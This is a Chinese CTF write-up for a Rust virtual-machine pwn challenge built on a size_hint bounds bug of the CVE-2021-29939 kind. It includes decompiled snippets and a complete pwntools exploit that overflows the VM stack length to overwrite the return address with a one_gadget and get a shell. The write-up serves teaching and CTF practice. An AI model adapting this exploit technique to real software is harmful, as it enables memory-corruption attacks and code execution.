出题团队简介
赛题设计思路
题目是由 rust 编写的虚拟机类pwn题的变种,出于“play for fun”的想法,没有在漏洞之外的其他地方给题目增加额外的难度,所以各位师傅拿到的都是没有删符号表的debug版二进制文件,希望师傅们玩的开心。
出题思路
主要思路来自于 CVE-2021-2993,由于 Size_hint 的错误实现所致。在文档中可以找对对应表述:
size_hint() is primarily intended to be used for optimizations such as reserving space for the elements of the iterator, but must not be trusted to e.g., omit bounds checks in unsafe code. An incorrect implementation of size_hint() should not lead to memory safety violations.
官方文档中指出了不能过于信任 size_hint 函数,因为它返回迭代器上下界,但可以由用户自行定义其行为,对于实现不规范的情况,该函数有可能会导致错误。在本题中,该函数导致了越界读写,最终能够修改返回地址使得其返回到One_gadget,最终拿到shell。
出题人经过测试之后发现,只有在 Ubuntu16 上能够直接利用One_gadget直接拿到shell,考虑到考点只有这个,所以也没有在这方面另外增加难度,最终的EXP只要把U16的OG都试一遍就能拿到了(因此也被师傅们打爆了,只能说自己还是太菜了,拿不出非常精巧的利用)。
由于 rust 向来以安全性著称,因此发生在rust中的漏洞感觉会比C语言更好玩一些,因此将该漏洞换了一种方式展现在题目里了。
由rust编写的虚拟机pwn的变种,程序没有删符号表,希望能玩的开心。
## 题目思路
主要思路来自于CVE-2021-29939,一个发现在rust代码中的高危漏洞。由于 Size_hint 的错误实现所致。在文档中可以找对对应表述:
> `size_hint()` is primarily intended to be used for optimizations such as reserving space for the elements of the iterator, but must not be trusted to e.g., omit bounds checks in unsafe code. An incorrect implementation of `size_hint()` should not lead to memory safety violations.
由于 rust 向来以安全性著称,因此发生在rust中的漏洞就显得更加特殊一些,因此将该漏洞换了一种方式展现在题目里了。
## 解题步骤
通过逆向能够发现,程序会读取若干指令然后模拟执行,所以首先应该把握整个程序的大致意图。
然后是因为 rust 编写的缘故,运行时保护也比较多,对于各种非法操作都会很容易的导致panic,所以需要对整个程序的流程把握的比较明确。
然后发现程序使用StackVec来模拟虚拟机中的栈,逆向可知它们也都是建立在栈上而不是堆上的,且还通过length来指示栈当前内容的长度。
```c
vmvec::lib::StackVec<[u64_ 64]> *__cdecl vmvec::lib::StackVec$LT$A$GT$::new::h550b99ccd348adea(vmvec::lib::StackVec<[u64_ 64]> *retstr)
{
char v2[512]; // [rsp+28h] [rbp-600h] BYREF
char src[512]; // [rsp+228h] [rbp-400h] BYREF
char dest[512]; // [rsp+428h] [rbp-200h] BYREF
memcpy(dest, src, sizeof(dest));
memcpy(v2, dest, sizeof(v2));
retstr->length = 0LL;
memcpy(&retstr->data, v2, sizeof(retstr->data));
return retstr;
}
继续逆向,发现有一个特别的操作“ext_stack”,其中有一段特别的检查:
if ( v15 + v14 > vmvec::lib::StackVec$LT$A$GT$::capacity::he837472c501b6732(self) )
结合上面expect中的字符串:
v3.data_ptr = "iterable must provide upper bound.assertion failed: self.len() + upper_bound <= self.capacity()assertion failed: step != 0
以及查阅rust文档中提到的 size_hint 函数可知,该函数返回一个对象的上下界元组,而上面的 if 要求对象的上界加上当前栈的长度小于栈的capacity。
core::ptr::write::h5bcec47e57c65cec(dst, src);
同时,也注意到文档中描述 size_hint表示,其并不能过于信任,因此着重关系该函数的实现。
继续逆向,发现该函数的输入对象是string_vec,往上寻找可能的操作,观察对应函数可知,string_vec大致实现了一个大致实现了一个简化后的deque,因此有可能发生回绕。
最后通过精心构造deque的结果实现溢出写栈的length,就会让len函数返回意外的值而不发生panic,于是再往栈里写数据就能够实现任意地址写了。最终写返回地址为one_gadget即可。
exp:
from pwn import *
context.log_level='debug'
def vec_int(index):
str1="vec int >> "
str2=""
for i in range(index):
str2+=str(i)
str2+=","
str3=str1+"["+str2[:-1]+"]"
print(str3)
def vec_str_name(name,index):
str1="vec "+name+" str >> "
str2=""
for i in range(index):
if i==23:
str2+=p64(0x5555555dad60)
else:
str2+=str(i)
str2=str2+","
str3=str1+"["+str2[:-1]+"]"
print(str3)
def pop_back_n_name(name,n):
str1="adj "+name+" str"+" >> pop_back"
str2=""
for i in range(n):
str2+=str1+"n"
str2=str2[:-1]
print(str2)
def pop_front_n_name(name,n):
str1="adj "+name+" str"+" >> pop_front"
str2=""
for i in range(n):
str2+=str1+"n"
str2=str2[:-1]
print(str2)
def stack_ext(name):
str1="adj "+name+" str >> stack_ext"
print(str1)
def switch_stack():
print("switch_stack")
def cal(op,obj):
str1="cal "+op+" "+obj
print(str1)
exp="""
vec int >> [0,0,0]
cal add stack_to_reg
vec int >> [0,0,0,8,9,10,11,12,13,14,15,16,17,18,19,20]
vec int >> [1,2,3,4,5,6,7,8,0,10252512,10]
cal add stack_to_reg
vec int >> [1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20]
vec int >> [1,2,3,4,5,6,7,8,9,10,11,12,13]
vec vul int >> [1,2,3,4,5,6]
adj vul int >> pop_front
adj vul int >> push_back 113
adj vul int >> pop_front
adj vul int >> push_back 576
adj vul int >> pop_front
adj vul int >> pop_front
adj vul int >> pop_front
adj vul int >> stack_ext
switch_stack
cal add stack_to_reg
cal sub reg
switch_stack
cal stack_move 64
switch_stack
cal add reg_to_stack
#
"""
p=process("./attachments")
p.sendline(exp)
p.interactive()
赛题解析
本赛题解析由看雪论坛专家 mb_mgodlfyn 给出:
此题漏洞利用很简单,难点在找到漏洞以及搞清楚合法输入的格式。不恰当的说,也许算披着pwn外衣的reverse题?
另外感谢出题人放弃了精致分保留符合和调试信息,毕竟Rust逆向的恶心程度不是一般的高。
逆向输入格式
程序运行起来后随便输入些东西,基本一直处于循环状态不会报错,因此第一步需要逆清楚合法的输入格式是怎样的。
vmvec::main::h1f88fe21e640590d
的输入循环的部分代码如下:
alloc::string::String::new::h1069c1a7de8a2dc9(&buf);
std::io::BufRead::read_line::hfe23df61b51ffee1(&v25, &v17, &buf);
v3.length = (usize)"read row and col error!src/main.rs$#Something went wrongn";
v3.data_ptr = (u8 *)&v25;
core::result::Result$LT$T$C$E$GT$::expect::h2fd8ef81211a9afd(v14, v3);
v4 = _$LT$alloc..string..String$u20$as$u20$core..ops..deref..Deref$GT$::deref::hc6a77192103af283(
(_str *)&buf,
(alloc::string::String *)"read row and col error!src/main.rs$#Something went wrongn");
v26.data_ptr = (u8 *)core::str::_$LT$impl$u20$str$GT$::trim::hb020d7db36258e87(v4, (_str)__PAIR128__(v5, v5));
v26.length = v6;
if ( core::cmp::impls::_$LT$impl$u20$core..cmp..PartialEq$LT$$RF$B$GT$$u20$for$u20$$RF$A$GT$::ne::hc896b82329ee01be(
&v26, // <input str>
(_str *)&stru_841B0.data.value[19]) )// "$"
{
函数名和调试信息对分析的帮助非常大。IDA 的 Structures 标签(Shift+F9) 和 Local Types 标签(Shift+F11)列出了所有的结构体类型。
可以看出,Rust 的 string 的基本结构是 8 字节的 data_ptr + 8 字节的 length,不需要 ‘